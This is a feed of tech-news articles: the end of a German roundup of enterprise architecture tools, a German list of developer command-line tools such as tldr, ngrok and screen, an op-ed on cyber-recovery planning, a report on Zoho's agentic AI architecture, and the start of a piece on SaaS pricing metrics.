Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind Change Management und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign im Januar 2025 auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.

Wichtigste Use Cases:

Vorhersage zukünftiger Anforderungen durch Predictive Modeling;
Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;
Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.

Capstera

Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.

Wichtigste Use Cases:

Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;
Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;
die langfristige strategische Planung vorantreiben.

Clausmark Bee360

Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz.

Wichtigste Use Cases:

C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;
präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;
integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.

EAS

Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als Open-Source-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.

Wichtigste Use Cases:

den technischen Reifegrad der eigenen Architektur evaluieren;
Sicherheit und Governance durch besseres Asset Tracking optimieren;
wachsende Systemkomplexität kontrollieren und managen.

OrbusInfinity

Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi abgeschlossen. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung, die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform integrieren, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow.

Wichtigste Use Cases:

Stakeholder-Management;
Enterprise-Landschaften visualisieren;
Entscheidungsfindung und Datenanalyse automatisieren.

Planview Enterprise One

Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.

Wichtigste Use Cases:

eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;
Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;
mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.

QualiWare Enterprise Architecture

Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.

Wichtigste Use Cases:

ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;
architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;
eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.

Quest Erwin Evolve

Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.

Wichtigste Use Cases:

einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;
Customer Journeys verstehen;
Services und Systeme mit Application Portfolio Management tracken.

SAP LeanIX Enterprise Architecture Suite

Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie SaaS– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 ist LeanIX Teil von SAP.

Wichtigste Use Cases:

Anwendungsmodernisierung und Cloud-Migration managen;
Obsoleszenz von Software-Services evaluieren;
Kosten kontrollieren und managen.

ServiceNow

Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, DevOps, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.

Wichtigste Use Cases:

Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;
Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;
durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.

Sparx Systems

Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.

Wichtigste Use Cases:

Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;
(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;
Dokumentation erstellen.

Unicom System Architect

System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.

Wichtigste Use Cases:

Was-wäre-wenn-Fragen zum Architekturmodell stellen;
ein Metamodell von Daten und Systemen aufbauen;
Migrations- und Transformationspläne erstellen.

ValueBlue BlueDolphin

Dieses EA-Tool sammelt Daten auf dreierlei Art:

Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).
Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.
Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.

Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.

Wichtigste Use Cases:

systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;
zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;
Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.

(fm)

Dieser Artikel ist im Original bei unserer Schwesterpublikation CIO.com erschienen.

9 Kommandozeilen-Tools, die jeder Dev braucht

Sat, 25 Jul 2026 18:59:24 +0200

Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt – ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich.

Foto: SkillUp | shutterstock.com

Manche Devs arbeiten mit der Kommandozeile (auch Command Line Interface; CLI), weil sie sie lieben – andere, weil ihnen nichts anderes übrig bleibt. Egal zu welcher Kategorie Sie sich zählen: Diese neun CLI-Tools helfen Ihrer Produktivität und Effizienz (zusätzlich) auf die Sprünge.

tldr

Keine Angst, wir ersparen Ihnen an dieser Stelle eine langwierige, faszinative Abhandlung über die ganz eigene Magie, die die Unix-Shell entfaltet. Fakt ist: Wenn man mit ihr arbeiten will, ist es manchmal erforderlich, vorher ein Handbuch zu lesen. Unix Docs (auch man- oder manual pages) sind diesbezüglich allerdings ein zweischneidiges Schwert: Die benötigte Information ist vorhanden – es ist nur die Frage, wo. Den Teil der Dokumentation aufzuspüren, den Sie gerade benötigen, kann ein entmutigender Task sein. Zwar kann die gute alte Befehlszeile dabei helfen – um ein offizielles Handbuch aufzurufen, genügt:

$ man

Allerdings zeichnen sich man-pages vor allem durch ihre Informationsdichte aus – und die Tatsache, dass sie manchmal aktuelle Informationen für neuere Tools vermissen lassen. Das CLI-Tool tldr versetzt Sie in die Lage, zielgerichteter zu suchen:

$ tldr

tldr in Aktion.

Foto: Matthew Tyson | IDG

Falls Sie npm installiert haben, ist die tldr-Installation nur einen kurzen Befehl entfernt:

npm install -g tldr

ngrok

Sobald Sie tldr installiert haben, können Sie damit viele weitere Befehle erkunden. Zum Beispiel:

$ tldr ngrok

Reverse proxy that creates a secure tunnel from a public endpoint to a locally running web service.

Mit ngrok eröffnet sich Ihnen eine stressfreie Möglichkeit, von einem Remote-Browser auf eine Entwicklungsmaschine zuzugreifen. Aber das Tool kann noch weit mehr. Sie können damit beispielsweise in der Cloud entwickeln und die Ergebnisse im Browser in Augenschein nehmen. Zudem können Sie mit ngrok auch schnell und einfach laufende Services über HTTPS veröffentlichen – ohne sich mit der Security-Infrastruktur herumschlagen zu müssen. Angenommen, Sie bauen einen Service Worker auf, der HTTPS benötigt, dann ist alles, was Sie für einen sicheren Kontext tun müssen, ngrok zu starten.

Das CLI-Tool ngrok macht Devs das Leben auf verschiedenen Ebenen leichter.

Foto: Matthew Tyson | IDG

Ein Beispiel, bei dem der HTTP-Port 8080 freigegeben wird:

$ ngrok http 8080

Der ngrok-Output sieht wie folgt aus:

https://f951-34-67-117-59.ngrok-free.app -> http://localhost:8080

Anschließend kann jedermann die zugewiesene URL aufrufen (machen Sie sich keine Mühe).

screen

Mit diesem Befehlszeilen-Tool können Sie eine Shell-Sitzung mit oder ohne laufenden Prozess “beiseite legen” und sie anschließend zu einem beliebigen Zeitpunkt fortsetzen – auch wenn Sie die ursprüngliche Session beenden.

$ tldr screen

Hold a session open on a remote server. Manage multiple windows with a single SSH connection.

Nehmen wir an, Sie starten ngrok, um remote auf eine Webanwendung zuzugreifen: Sie starten den Prozess, lassen diesen dann in screen laufen und programmieren so lange etwas. Währenddessen läuft ngrok die ganze Zeit weiter – Sie können über screen jederzeit wieder darauf zugreifen. Veranschaulicht in Code würde das wie folgt aussehen:

$ screen

// Now we are in a new session

$ ngrok http 8080

// Now ngrok is running, exposing http port 8080

Type ctrl-a

// Now we are in screen's command mode

Type the "d" key, to "detach".

// Now you are back in the shell that you started in, while screen is running your ngrok command in the background:

$ screen -list

There is a screen on:

128861.pts-0.dev3 (04/25/24 14:36:58) (Detached)

Tipp

Wenn Sie eine laufende Sitzung, in der Sie sich gerade befinden, benennen wollen, nutzen Sie die Tastenkombination Strg + A und geben :sessionname ein. Das ist besonders nützlich, wenn Sie mit mehreren Screen-Instanzen arbeiten wollen.

Screen ist ein umfangreiches und potentes CLI-Tool.

Foto: Matthew Tyson | IDG

Wenn wie im Beispiel nur eine screen-Instanz läuft, führt der Befehl $ screen -r (für “re-attach”) Sie zurück zu Ihrer ngrok-Sitzung. Im Fall mehrerer Screens können Sie diese mit Hilfe ihrer ID wieder aufrufen:

$ screen -r

Wenn Sie Ihre Session endgültig beenden wollen, beenden Sie ngrok mit Strg + C und geben anschließend exit in die Kommandozeile ein.

sdkman & nvm

Wenn Sie Java oder JavaScript auf einem Server verwenden, sollten Sie sich mit sdkman (für Java) und nvm (für Node) vertraut machen. Beide Kommandozeilen-Tools sind nützlich, wenn es darum geht, mit mehreren Programmiersprachenversionen auf dem selben Rechner zu jonglieren – und dabei sowohl Path Adjustment als auch Umgebungsvariablen überflüssig machen.

Mit sdkman können Sie beispielsweise neuere Java-Versionen erkunden und anschließend wieder zum aktuellen LTS-Release springen. Dieser Prozess wird durch das sdk-Kommando abstrahiert.

sdkman zeigt alle verfügbaren Java-Installationen auf einem lokalen Rechner an – inklusive derjenigen, die gerade in Benutzung ist.

Foto: Matthew Tyson | IDG

Zwischen den Versionen zu wechseln, gestaltet sich denkbar einfach – $ sdk use java 19-open führt Sie direkt zu JDK Version 19.

$ tldr sdk

Manage parallel versions of multiple Software Development Kits.

Supports Java, Groovy, Scala, Kotlin, Gradle, Maven, Vert.x and many others.

Die nvm-Utility funktioniert ganz ähnlich:

$ tldr nvm

Install, uninstall or switch between Node.js versions.

Supports version numbers like "12.8" or "v16.13.1", and labels like "stable", "system", etc.

Ein Blick auf nvm.

Foto: Matthew Tyson | IDG

fzf

Sowohl grep als auch find sind Standardbestandteile der Kommandozeilen-Befehlspalette. Allerdings sind beide Tools nicht so funktional, wie sie sein sollten. Das ruft fzf auf den Plan – einen “Fuzzy File Finder”. Mit “Fuzzy” ist dabei gemeint, dass die Details zu dem, was Sie suchen, nicht unbedingt klar definiert sein müssen. Ein Beispiel:

$ tldr fzf

Command-line fuzzy finder.

Similar to sk.

Sobald Sie fzf starten, indiziert das CLI-Tool umgehend das Dateisystem, um Ergebnisvorschläge für Ihre Suchen zu unterbreiten.

In diesem Beispiel suchen wir nach einem Projekt, an dem wir zuletzt gearbeitet haben.

Foto: Matthew Tyson | IDG

Aus 878.937 Möglichkeiten hat fzf die 25 Dateien und Verzeichnisse ausgewählt, die unseren Anforderungen entsprechen könnten – und das völlig ohne Umwege.

exa

Mit exa werden langweilige alte ls-Listings schöner und nützlicher:

$ tldr

A modern replacement for ls (List directory contents).

Für eine bessere Developer Experience ohne mentalen Overhead statten Sie ls einfach mit einem exa-Alias aus. Das Tool respektiert die meisten ls-Standardoptionen – exa -l funktioniert also (beispielsweise) genau so, wie Sie es erwarten würden.

Exa ist das neue ls.

Foto: Matthew Tyson | IDG

bat

Die bat-Utility ähnelt dem cat-Tool – ist aber besser:

$ tldr bat

Print and concatenate files.

A cat clone with syntax highlighting and Git integration.

Es handelt sich hierbei im Wesentlichen um eine Komfort- beziehungsweise Developer-Experience-Optimierung – ähnlich wie im Fall von exa. Wenn Sie bat verwenden, erwartet Sie ein vollwertiger File Viewer – inklusive Title, Borders, Line Numbers und insbesondere einer hilfreichen Syntax-Highlighting-Funktion für Programmiersprachen oder Konfigurationsdateien. Dabei reagiert bat auf less/more-Befehle – und wird mit “q” beendet. Die Navigation erfolgt über die Pfeiltasten.

Bat ist ein simples Dienstprogramm, das es zu einem echten Erlebnis macht, Dateien auf der Konsole zu durchsuchen.

Foto: Matthew Tyson | IDG

nethack

Ein absoluter Kommandozeilen-Klassiker ist nethack – der ursprüngliche, Konsolen-basierte ASCII Dungeon Crawler. Das CLI-Tool wird Ihre Produktivität zwar nicht direkt ankurbeln – kann aber durchaus dabei helfen, ein paar Minuten zur Ruhe zu kommen, um komplexe Dev-Probleme zu durchdringen.

Es gibt neuere Versionen des Nethack-Konzepts – manchmal fährt man jedoch mit dem Original am besten.

Foto: Matthew Tyson | IDG

Dieser Artikel ist im Original bei unserer Schwesterpublikation Infoworld.com erschienen.

Principles every enterprise must test before the attack arrives

Sat, 25 Jul 2026 18:55:54 +0200

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Smaller, smarter, safer: How to build agentic AI on the right foundation

Sat, 25 Jul 2026 18:55:52 +0200

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
Smarter: The system around the model decides more than the model does.
Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

The new value architecture of the AI-native SaaS era

Sat, 25 Jul 2026 18:55:51 +0200

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

